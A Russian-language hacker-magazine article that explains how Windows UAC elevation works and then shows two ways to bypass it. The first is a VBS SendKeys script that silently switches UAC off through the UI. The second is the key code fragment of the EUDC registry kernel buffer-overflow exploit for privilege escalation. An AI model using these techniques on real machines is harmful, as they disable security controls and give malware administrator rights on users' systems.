Содержание статьи
Уж не знаю, сколько раз в тырнетах поднималась пресловутая тема контроля за действиями пользователя (UAC): нужна ли она, насколько эффективна… Но мы рассмотрим этот вопрос еще раз, теперь с чисто прикладной, хакерской точки зрения. Плюсы и минусы системы, а также самое главное — как ее можно обойти.
Итак, что же такое UAC с точки зрения безопасности? Разработчики Windows (видимо, немало озаботившись унылыми сведениями из багтраков, регулярно пополняющимися все новыми и новыми уязвимостями в самой распространенной ОС в мире) решили, что если уж все или почти все юзеры сидят под правами администратора, то надо сделать некий программный компонент, который будет испрашивать у юзеров разрешения. Оставим в стороне холивар на тему «Нужны ли простому юзеру права администратора?», поскольку сей крайне философский вопрос спорен: с одной стороны, права админа простому пользователю, действительно, не нужны, а с другой — они нужны туевой хуче довольно повседневных программ.
Итак, UAC призвана обеспечить пользователям возможность работать, не прибегая к административным правам. Обладая административными правами, пользователь может просматривать и изменять любую часть операционной системы, включая код и данные других пользователей и даже самой Windows. Без административных прав пользователи не могут случайно изменить системные параметры, вредоносная программа не может изменить параметры системной безопасности или отключить авер, а пользователи не могут нарушить безопасность важных данных других пользователей на общедоступных компьютерах. Работа с правами обычного пользователя, таким образом, помогает уменьшить количество срочных вызовов службы поддержки в корпоративных средах, смягчить ущерб от вредоносной программы, способствует более четкой работе домашних компьютеров и защищает уязвимые данные на общедоступных тачках.
UAC делит все исполняемые задачи на две группы — те, которые могут быть исполнены обычными пользователями, и те, которые выполняются только администраторами. UAC незаметно для администратора переводит систему в режим непривилегированного пользователя, а когда требуются права администратора — появляется системный диалог, через который можно временно повысить свои права.
И ведь надо признать, что введение UAC довольно сильно обломало начинающих и не очень кодеров, зарабатывающих себе на жизнь разработкой малвари, так что на специальных бордах заказчики теперь в первую очередь спрашивают о возможности кода работать в Vista/7 и обходить UAC. Платили и до сих пор платят за это вполне адекватные деньги.
Немного ликбеза, или как законно получить права админа
Определить потребность системы и приложений в административных правах можно множеством способов. Один из них — команда контекстного меню и ярлык «Запуск от имени администратора» в пользовательском интерфейсе проводника. Эти элементы содержат цветной значок щита, который должен быть добавлен ко всем кнопкам или пунктам меню, выбор которых приводит к повышению прав.
При выборе элемента «Запуск от имени администратора» проводник вызывает API-функцию ShellExecute с командой «runas».
Подавляющее большинство программ установки требуют административных прав, поэтому загрузчик образов, который инициирует запуск исполняемого файла, содержит код обнаружения установщиков для выявления устаревших версий. Часть алгоритмов используемой загрузчиком эвристики довольно проста: он ищет слова «setup», «install» или «update» в имени файла образа или внутренней информации о версии. Более сложные алгоритмы включают просмотр в исполняемом файле последовательностей байтов, обычно применяемых сторонними разработчиками в служебных программах — установочных оболочках.
Чтобы определить, нуждается ли целевой исполняемый файл в правах администратора, загрузчик образов также вызывает библиотеку совместимости приложений (appcompat). Библиотека обращается к базе данных совместимости приложений, чтобы определить, связаны ли с исполняемым файлом флаги совместимости RequireAdministrator или RunAsInvoker.
Самый общий способ запросить для исполняемого файла административные права — добавить в его файл манифеста приложения тег requestedElevationLevel. Манифесты — это XML-файлы, содержащие дополнительные сведения об образе. Они были введены в Windows XP как способ определения зависимостей для параллельно используемых библиотек DLL и сборок Microsoft .NET Framework.
Наличие в манифесте элемента trustInfo (он показан ниже во фрагменте дампа Firewallsettings.exe) означает, что исполняемый файл был написан для Windows Vista и содержит элемент requestedElevationLevel.
Атрибут level этого элемента может иметь одно из трех значений: asInvoker, highestAvailable и requireAdministrator.
<trustInfo xmlns="urn:schema-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel Level="requireAdministrator" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
Исполняемые файлы, не требующие административных прав, (например Notepad.exe), имеют значение атрибута asInvoker. В некоторых исполняемых файлах заложено допущение, что администраторы всегда хотят получить максимальные права. Поэтому в них используется значение highestAvailable. Пользователю, запускающему исполняемый файл с этим значением, предлагается повысить права, только если он работает в режиме AAM или рассматривается как администратор согласно определенным ранее правилам, и в связи с этим должен повысить права для обращения к своим административным привилегиям.
Примерами приложений, для которых используется значение highestAvailable, могут служить программы Regedit.exe, Mmc.exe и Eventvwr.exe. Наконец, значение requireAdministrator всегда инициирует запрос повышения и используется всеми исполняемыми файлами, которым не удастся выполнить свои действия без административных прав.
В приложениях со специальными возможностями атрибуту uiAccess задается значение «true» для управления окном ввода в процессах с повышенными правами. Кроме того, для обеспечения этих возможностей они должны быть подписаны и находиться в одном из нескольких безопасных размещений, включая %SystemRoot% и %ProgramFiles%.
Значения, задаваемые исполняемым файлом, можно легко определить, просмотрев его манифест с помощью служебной программы Sigcheck от Sysinternals. Например: sigcheck –m <executable>. При запуске образа, который запрашивает административные права, службе сведений о приложении (известна также как AIS, находится в %SystemRoot%System32 Appinfo.dll), работающей в процессе Service Host (%SystemRoot% System32Svchost.exe), предписывается запустить программу Consent. exe (%SystemRoot%System32Consent.exe). Программа Consent создает снимок экрана, применяет к нему эффект затемнения, переключается на рабочий стол, доступный только системной учетной записи, устанавливает затемненный снимок в качестве фона и открывает диалоговое окно повышения прав, содержащее сведения об исполняемом файле. Вывод на отдельном рабочем столе предотвращает изменение этого диалогового окна любой вредоносной программой, работающей под учетной записью пользователя.
Лезем в обход UAC
Итак, теперь о том, для чего мы все здесь, собственно, собрались. Можно ли обойти UAC? Да, можно. Первое решение, так сказать, лобовое. И основано оно на том удивительном факте (или просчете разработчиков Windows?), что при изменении политики UAC системе глубоко фиолетово, как и кто именно это делает, человек при помощи указателя мыши или же все делается программным способом. То есть фактически система не различает, кто именно передвигает заветную стрелочку.
Этим мы и воспользуемся — что нам стоит программно отключить UAC? Ничего! Но пойдем мы нетрадиционным способом — забудем о существующих в языках высокого уровня вроде С++ или C# методах типа SendKeys, а возьмем на вооружение простой VBS-скрипт.
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")
'// Тут есть одна заковыка — чтобы выбранные изменения
'// вступили в силу, систему нужно перезагрузить
'// WshShell.Run "shutdown /r /f"
Да-да, всего-то и нужно, что воспользоваться благами Windows Script Host (WSH), где, кстати, сокрыто от глаз огромное разнообразие возможностей для управления системой, о которых частенько забывают. Но об этом речь пойдет в другой раз.
Второе решение обхода UAC — тоже программное, но не лобовое, а основанное на уязвимости самой системы.
Переполнение буфера
Казалось бы, какая связь между переполнением буфера и UAC? Оказывается, таящиеся в Windows баги позволяют обойти ограничения UAC и повысить свои права. Сегодня я покажу на конкретном примере, как при помощи тривиального переполнения буфера можно обойти UAC и добиться администраторских прав.
Есть такая WinAPI — RtlQueryRegistryValues (msdn.microsoft.com), она используется для того, чтобы запрашивать множественные значения из реестра одним своим вызовом, что делается с использованием специальной таблицы RTL_QUERY_REGISTRY_TABLE, которая передается в качестве __in__out параметра.
Самое интересное (и постыдное для разработчиков Microsoft) в этой API то, что существует определенный ключ реестра, который можно изменить при помощи ограниченных пользовательских прав: HKCU EUDC[Language]SystemDefaultEUDCFont. Если сменить тип этого ключа на REG_BINARY, то вызов RtlQueryRegistryValues приведет к переполнению буфера.
Когда ядерная API-функция Win32k.sys!NtGdiEnableEudc запрашивает ключ реестра HKCUEUDC[Language]SystemDefaultEUDCFont, она честно предполагает, что этот ключ реестра имеет тип REG_SZ, так что в буфер передается структура UNICODE_STRING, у которой первое поле является типом ULONG (где представлена длина строки). Но так как мы можем изменить тип этого параметра на REG_BINARY, то систему это ставит в глубокий тупик и она неправильно интерпретирует длину передаваемого буфера, что приводит к переполнению стека.
Ключевой момент эксплойта
UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\%d"), codepage);
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0,
REG_BINARY, RegBuf, ExpSize);
__try
{
EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);
Заключение
Обойти UAC можно. Не скажу, что это легко, ведь разработчики Windows VIsta/W7 постарались на славу, надо отдать им должное. Но все же лазейки остаются. Можно найти одну-две кроличьих дыры, которые способны свести на нет старания команды Windows. Успех в этом случае приходит к тем, кто может работать с отладчиками и дебаггерами типа IDA Pro или WinDBG.
Удачи тебе в твоих стараниях и да пребудет с тобой сила!
Links
Хочешь зарабатывать на поиске уязвимостей в различных программных продуктах? Go for zerodayinitiative.com и получи от $1000 до $10 000 за найденную уязвимость!